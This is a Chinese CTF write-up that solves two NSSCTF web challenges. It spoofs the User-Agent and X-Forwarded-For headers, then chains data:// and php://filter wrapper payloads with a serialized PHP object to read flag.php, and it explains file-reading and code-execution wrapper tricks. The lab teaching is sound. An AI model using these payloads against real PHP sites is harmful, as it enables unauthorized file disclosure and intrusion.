NSSCTF Web 題解 Write up
一、Do_you_know_http
1、開題
2、分析
頁面顯示請使用“WLLM”瀏覽器,我沒聽說過“WLLM”瀏覽器,那首先去User-Agent修改訪問的瀏覽器。
用HackBar分析,將UA的值改成WLLM。
用EXECUTE請求
頁面顯示你只可以在本地正常閱讀,並給出了ip。那簡單,還是用HackBar,在當前頁面下新增XFF的值為本地即127.0.0.1
顯示頁面給出flag
相關知識點:
1、HTTP請求頭:
X-Forwarded-For 用於表示經過代理伺服器或負載均衡器的 HTTP 流量的原始 IP 地址。當 HTTP 請求經過 多個代理伺服器 或 負載均衡器 時,X-Forwarded-For 的值可能包含 多個用逗號隔開的 IP 地址,而第一個 IP 地址通常就是 源客戶端的 IP 地址。4
User-Agent
HTTP 請求報文中的 User-Agent 請求頭是一個用來 標識傳送請求的客戶端(通常是瀏覽器或其他網路應用程式)的字串。這個字串通常包含了客戶端的應用程式名稱、版本號、作業系統資訊和一些其他相關的資訊,用來 幫助伺服器識別請求的來源。User-Agent 請求頭的 主要目的 是為了讓伺服器能夠根據客戶端的不同特性來適配響應內容,以提供更好的使用者體驗。
二、[ZJCTF 2019]NiZhuanSiWei
1、開題
2、分析
開幕就是依託php程式碼,大概看一下,需要透過GET方法傳入text,file和password,其中text要求強等於“welcome to the zjctf”,那我們可以用data偽協議傳入text。構造payload:node4.anna.nssctf.cn:28370?text=data://text/plain,welcome to the zjctf
回顯:
接下來看第二層繞過,可以看到flag.php被ban掉了,根據提示useless.php我們可以用filter偽協議讀取原始檔,構造payload如下:node4.anna.nssctf.cn:28370?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
回顯:
一串看不懂的字元,丟進賽博廚子解碼看看
得出一串php程式碼:
`<?php`
`class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);`
`echo "<br>";`
`return ("U R SO CLOSE !///COME ON PLZ");`
`}
}
}
?>`
在本地進行序列化操作:
<?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
輸出為O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
構造payload為node4.anna.nssctf.cn:28370?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
回顯:
ctrl+U檢視原始碼找到flag:
相關知識點:
1、data:// 資料
data://
偽協議是資料流封裝器,傳遞相應格式的資料。
通常可以用來執行PHP程式碼和傳輸被過濾字元。
用法:
data://text/plain,test
data://text/plain;base64,dGVzdA==
2、php:// 訪問各個輸入/輸出流
php://
偽協議作用是訪問各個輸入輸出流
在CTF中經常用到的是php://filter
和php://input
php://filter
用來讀取原始碼(.php檔案的原始碼);php://input
用來執行php程式碼(通常以post形式,post一段php程式碼上去執行[注:allow_url_include
要為On])
用法:
php://filter/read=convert.base64-encode/resource=flag.php